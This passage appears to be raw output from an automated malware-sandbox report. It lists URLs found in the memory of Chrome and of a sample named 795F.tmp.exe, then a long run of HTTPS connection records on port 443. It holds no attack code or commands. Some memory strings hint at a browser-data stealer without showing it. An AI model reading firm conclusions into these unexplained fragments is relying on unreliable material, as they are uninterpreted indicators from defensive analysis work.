Source: chrome.exe, 00000005.00000002.2045217084.00006C400221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000005.00000003.2008237170.00006C4004A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000005.00000002.2046298954.00006C400240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000005.00000002.2046298954.00006C400240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000005.00000002.2046298954.00006C400240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000005.00000002.2046298954.00006C400240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000005.00000002.2047249120.00006C4002618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000005.00000002.2053522676.00006C4002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2047581503.00006C40026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2017321117.00006C4003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2062933421.00006C4005258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017963343.00006C4005250000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017929019.00006C4003198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2026438876.00006C4003E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021133482.00006C4004F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000005.00000003.2021190509.00006C4004F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2017508265.00006C40052AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: chrome.exe, 00000005.00000002.2047249120.00006C4002618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.m
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/about/----KKFHJDAEHIEHJJKFBGDAst.exe
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/about/CAKFBFHJKEHC
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lXy50eHQ=host.exe
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 795F.tmp.exe, 00000002.00000003.2169647136.0000000021132000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/es:
Source: 795F.tmp.exe, 00000002.00000003.2169647136.0000000021132000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJKEBGIDGDHCGCAFHJKK.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.2046600504.00006C40024C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
